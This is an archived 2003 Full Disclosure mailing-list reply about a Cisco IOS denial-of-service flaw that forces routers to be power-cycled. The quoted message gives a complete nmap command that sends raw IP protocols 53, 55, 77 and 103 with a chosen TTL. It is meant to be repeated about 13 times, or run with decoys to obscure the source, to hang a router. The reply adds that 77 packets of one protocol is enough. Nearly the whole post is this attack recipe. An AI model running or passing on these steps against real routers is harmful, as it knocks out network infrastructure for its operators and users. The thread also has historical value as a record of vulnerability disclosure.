Full Disclosure mailing list archives
RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover
From: amilabs <amilabs () optonline net>
Date: Tue, 22 Jul 2003 18:08:17 -0400
Cool, but as per my post earlier you can accomplish the same with any ONE of the protocols. The exploit does not require the use of all four. You can send 77 packets of 53 and that will do it. Regards.. AMILABS -----Original Message----- From: full-disclosure-admin () lists netsys com [mailto:full-disclosure-admin () lists netsys com] On Behalf Of Shawn Bernard Sent: Tuesday, July 22, 2003 4:34 PM To: full-disclosure () lists netsys com Subject: [Full-disclosure] Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Yet another tool that can be used to croak a router is trusty Nmap- nmap -sO -p 53,55,77,103 -v -ttl [ttl from ping -255] [targetIP] when run ~13 times or with a few decoys ;-) will fill the imput queue requiring a router reboot ____________________________________________________________ Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover lee . e . rian (Jul 21)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Curt Purdy (Jul 22)
- <Possible follow-ups>
- Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Shawn Bernard (Jul 22)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover amilabs (Jul 22)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover lee . e . rian (Jul 23)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Cedric Blancher (Jul 24)
- Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Richard Johnson (Jul 24)
- RE: Re: Cisco IOS Denial of Service that affects most Cisco IOS routers- requires power cycle to recover Cedric Blancher (Jul 24)